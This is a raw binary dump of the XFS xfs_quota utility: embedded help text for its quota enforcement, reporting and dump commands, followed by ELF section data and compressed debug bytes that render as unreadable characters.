inodes-used information only -r -- report realtime-blocks-used information only dump quota information for backup utilities create a backup file which contains quota limits information -g -- dump out group quota limits -p -- dump out project quota limits -u -- dump out user quota limits (default) -f -- write the dump out to the specified file %-10d %7llu %7llu %7llu %7llu %7llu %7llu %-10d %7llu %7llu %7llu %7llu %s: cannot find mount point %s Used Soft Hard Warn/Grace Used Soft Hard Warn/Grace Used Soft Hard Warn/Grace Used Soft Hard Warn/ Grace %10llu %10llu %10llu %02d %9s[-bir] [-gpu] [-ahnt] [-f file]fs = %s f:gpuL:U:%13c %s %13c%20c %s %20c%9c %s %9c%15c %s %15c%s quota on %s (%s) %s ID%-10s #%-10u%-10s#%-9u %6s %6s %6s %02d %8sXFS_QSYNC user quotaXFS_QSYNC group quotaXFS_QSYNC proj quotaabdf:ghilL:NnprtuU:dumpreportrepquota}@0}@0}@0}@0}@0}@0}@0}@0}@|@0}@0}@0}@0}@0}@0}@0}@0}@0}@0}@0}@0}@0}@0}@0}@0}@|@|@0}@0}@0}@0}@0}@0}@0}@0}@|@0}@0}@0}@0}@|@x@@@@@@@@@@@@@@@@@@@@@@@@@@@@Џ@@@@@@@@@@@p@@`@P@ remove any space being used by the quota subsystem Once quota has been switched 'off' on a filesystem, the space that was allocated to holding quota metadata can be freed via this command. The affected quota type is -g (groups), -p (projects) or -u (users) and defaults to user quota (multiple types can be specified). disable quota enforcement on a filesystem If a filesystem is mounted and is currently enforcing quota, this provides a mechanism to switch off the enforcement, but continue to perform used space (and used inodes) accounting. The affected quota type is -g (groups), -p (projects) or -u (users). enable quota enforcement on a filesystem If a filesystem is mounted and has quota accounting enabled, but not quota enforcement, enforcement can be enabled with this command. With the -v (verbose) option, the status of the filesystem will be reported after the operation is complete. The affected quota type is -g (groups), -p (projects) or -u (users) and defaults to user quota (multiple types can be specified). query the state of quota on the current filesystem This is a verbose status command, reporting whether or not accounting and/or enforcement are enabled for a filesystem, which inodes are in use as the quota state inodes, and how many extents and blocks are presently being used to hold that information. The quota type is specified via -g (groups), -p (projects) or -u (users) and defaults to user quota (multiple types can be specified). turn filesystem quota off, both accounting and enforcement Example: 'off -uv' (switch off user quota on the current filesystem) This command is the equivalent of the traditional quotaoff command, which disables quota completely on a mounted filesystem. Note that there is no 'on' command - for XFS filesystems (with the exception of the root filesystem on IRIX) quota can only be enabled at mount time, through the use of one of the quota mount options. The state command is useful for displaying the current state. Using the -v (verbose) option with the 'off' command will display the quota state for the affected filesystem once the operation is complete. The affected quota type is -g (groups), -p (projects) or -u (users) and defaults to user quota (multiple types can be specified). Inode: #%llu (%llu blocks, %lu extents) %s quota are not enabled on %s permanently switch quota off for a pathget overall quota state informationremove quota extents from a filesystemXFS_QUOTARM%s grace time: %s %s quota state on %s (%s) Accounting: %s Enforcement: %s Inode: N/A %s: unknown mount point %s XFS_QUOTAOFFXFS_QUOTAONaf:gpuvoff[-gpu] [-v]state[-gpu] [-a] [-v] [-f file]enableenable quota enforcementdisabledisable quota enforcementremoveО@@@@@@@@@@@@@@@@@@@@@@XXXXXXX X%s %s -- %s command "%s" not found %lld,%d,%s,%.3f,%.3f bad argument count %d to %s, expected at least %d arguments bad argument count %d to %s, expected %d arguments bad argument count %d to %s, expected between %d and %d arguments cannot strdup command '%s': %s %s %lld/%lld bytes at offset %lld %s, %d ops; %s (%s/sec and %.4f ops/sec) %s> %.f EiB%.3f EiB%.f PiB%.3f PiB%.f TiB%.3f TiB%.f GiB%.3f GiB%.f MiB%.3f MiB%.f KiB%.3f KiB%f bytesminutesminutehourshourweeksweek%u:%02u.%02u%u:%02u:%02u.%02u0.%04u secp@Ы@Ы@0@Ы@@Ы@Ы@Ы@@Ы@@Ы@Ы@@Ы@Ы@@`@@@C0<C<pBp=A>0A>@P?.A/etc/mtab/proc/self/mountslogdev=rtdev=%s: unable to extract mount options for "%s" %s: cannot find mount point for path `%s': %s %s: cannot setup path for mount %s: %s %s: cannot setup path for project %s: %s %s: cannot initialise path table: %s %s: cannot setup path for project dir %s: %s /etc/projid/etc/projects%s (or %s) command %s not found help[command]help for one or all commands Use 'help commandname' for extended help. quitqexit the program;D``   ( @ `0``pP0(h ! P#h $ * +( ,@ . p7 8H `9` P< < = =H >` ?x @C E GH `J K 0K 0O`O0QSU80VX`VpV ^p^cdee0@fH0h0kPt(zx}~~~0 HP`x 0pxpXP8XpЎ@`xА`0`x`( @x0P8`pX 8@ЩpЪ(@PX Ь@`pЯ`pPXzRx H*zRx $HFJ w?;*3$"DR\( <tpPBBA C(G0 (A ABBA <BED A(Dp (A ABBH , HG F e K E K a G ,< G H [ E { E [ E l G_ J , _BKE IAB, _BKE IABL BBK G(O0 (A ABBD  (E ABBG L< BBK G(O0 (A ABBD  (E ABBG Lx BBK G(O0 (A ABBD  (E ABBG <8BBA A(G0x (A ABBE (D]4 (D]L8(D]LdPBEE E(G0D8D@Q 8C0A(B BBBC <BED D(I (A ABBE ,AGOk AAD L$0BEE D(D0 (A BBBP  (A BBDA ,tAII AAD LBBB B(D0C8G l 8A0A(B BBBA LJBIE D(C0j (A BBBP J (A BBDA LDrBBE B(D0D8I 8A0A(B BBBK  D A g!(D]L!}BGE E(D0D8G 8A0A(B BBBJ L$BBG B(D0G8G 8A0A(B BBBH dl,WBBE E(D0D8F@ 8F0A(B BBBM h 8C0A(B BBBA -DyD-BEE A(C0GK 0A(A BBBF $40EACF vCA$\0RACF CCAL1AAD i CAE ^ CAF d CAH DAA1Dh2(D]L2>BBH E(D0C8I 8A0A(B BBBI <Tp6IBBA A(G` (A ABBD <8IBBA A(G`! (A ABBD D:BBB A(D0G`T 0A(A BBBB  <D~ F I< H=(D]LT `=BBB B(A0C8G 8A0A(B BBBA  A*L (ABEB E(D0G8GPl8A0A(B BBBL xBBBE E(A0A8J 8A0A(B BBBA d\ DBBE E(D0D8FP 8F0A(B BBBM f 8C0A(B BBBA  `FDs I I F(D] FKCR K jL GjBBG E(D0A8GR 8A0A(B BBBH l 8NKCR K j hNBBB B(D0D8G` 8A0A(B BBBH v 8G0A(B EBBO  8D0A(B BBBO h 8D0A(B BBBR d$ pRBBE E(D0D8FP 8F0A(B BBBM f 8C0A(B BBBA  SDy `TXDM TXDM< TBPD G(G (A ABBF L VBEE E(D0C8F` 8A0A(B BBBD Ld PY BBE B(D0F8J 8A0A(B BBBF L bBBB B(D0C8JZ 8A0A(B BBBC d`hBEE E(D0D8F`e 8F0A(B BBBM  8C0A(B BBBA ljD G Sk(D]k(D]k(D]k(D]k(D]lGD b J V,$0lOBAH rABdTPlBBE E(A0D8IP 8G0A(K BBBN E8G0A(B BBBDmBGB D(I0F 0A(A BBBF LnjBED C(F0H (F ABBI s (C ABBE DTpBEE D(C0F@y 0A(A BBBF DXqBEE D(C0F@y 0A(A BBBF DrBEE D(C0F@y 0A(A BBBF 4,srBGH FQ  AABA \d0t@BEE D(D0F@ 0F(A BBBO G 0C(A BBBA uFD E q@w;hw `wG4wLw'Dbddw BBB B(D0C8GPY 8C0A(B BBBE  8A0F(B BBBE 4xgBHD K ABD AAD,x^ADD ~ AAA 4yLLyBBB E(A0A8DP 8A0A(B BBBA LH{BBB B(D0D8J$ 8A0A(B BBBH |`D [L}BBJ B(A0I8D@ 8D0A(B BBBK T}AL<t}1BED I(D@ (A ABBB ~V4BFA D0#  AABD px4$LD0 E  F `$t |AL h AA $xwAL M AE $ЃwAL M AE 4(IAAG n FAB DCA$$@ARR AJ LLBEE E(D0D8Gp 8A0A(B BBBA DBBB D(A0G` 0A(A BBBB $AF  AA , 3AOG  AAF <D K L\BBB G(D0\ (A BBDJ f(E DDEX4d}BBB E(A0A8DP 8A0A(B BBBA | 8D0L(B BBBL ,,BAC j ABE \=t RDk A `UDk A 4PTȍ4PT4QAD  AFJ TCA$SADD DDA$DGACD yDA4lQAD  FAD TCA$_AP@v AA ,^ACOPC AAA DB J 4HAAD x CAF j CAJ TDxlxpiD`DȑeBEE E(H0H8M@l8A0A(B BBB@@B @ @>a>ao@ @@  @aH@@ oX@oo @>a&@6@F@V@f@v@@@@@@@@@@@&@6@F@V@f@v@@@@@@@@@@@&@6@F@V@f@v@@@@@@@@@@@&@6@F@V@f@v@@@@@@@@@@@&@6@F@V@f@v@@xfs_quota.debug297zXZִF!t/!'u]?Eh=ڊ̓N(%jj nƠ{n%h[)?<)d҃\E7O5ʺNTem֍ 8YVmcX^\ 잺QR_$cט1&JN+?y ?=%RŰ#أC@g٥ :.Zg+q˩6!Qw?RNS- :0QA\Td a {.S*0?pc7IEqn!Fՙ:+܂ƌ֐Dbi vc1sb@ ci9ju':K.Dja`4gCϸ nDe w?Y9W򃕽n:F:?9"| Sc>n}NFVҲ# sÀqՔ1CETQq]kCx(Yyr4_WDƿ[vm#MbnΙOpMtLac7q{Y7}N%;TN{|X294EpK L?Kp15};^[*iPEG!Es IػI PXƧbLKy(pQ0gKRJY(RbF5-PpsF1repf>MOdKc3<]}+jv 1msIkQ8Su[Iw' %)R@0Zq69mtksj}?+IϤ*z|$zi|v;{B'e֧ei:PkRG(M 9RX%;m\2a7.%DQ' Te1M5`v~8Z -^R~>iZWu633ߤ|rR=焞&5'cD}׳X[g Ɓ/mZY阀VV`4+\Wں] ,Ľz=7sIx˫^@+\'>ˡpŋzW`սR)q7pDehZ:)f ҍMkfbz)l.*:s56z?kÄb]ȖT?C$ mƱ-k/^W6u+e>cét"Sb;AD7kZcCx&YܪKg&.M32iT|fMܘyj`9t&5OJ1Sd8'hh.C4ŃA^4kHO.Ia9ZYH ߽t&Ȓ8Ӏ&C,Kkxv4*VҦIx s#<+@RtR\zRR<A28QJ9Xv]2PHOXO9yۖpPaWALv c] ؅0҈ #ie^kͿz0hBH Ezh}>ӻF:ݤ` o9BFv^{콝Rx~RFI'96!j ҋϾihwzy3H *pivkx? "dv2Ds m=BEBE.w ߆ȃ ~A(ykc&K "NbB (3*:/t/Lo?^ñ܌k`y|HAQ +ȇevn6zqj HHy+BM.gYZ.shstrtab.interp.note.ABI-tag.note.gnu.build-id.gnu.hash.dynsym.dynstr.gnu.version.gnu.version_r.rela.dyn.rela.plt.init.text.fini.rodata.eh_frame_hdr.eh_frame.init_array.fini_array.jcr.dynamic.got.got.plt.data.bss.gnu_debuglink.gnu_debugdata 8@8T@T !t@t$4o@L> @F @ No @ [oX@X`j@tBH@H~@y@@@ @N 0A0DxAx,>a>>a>>a>>a>?a?@a@PPBaPBBadB} dBxB0K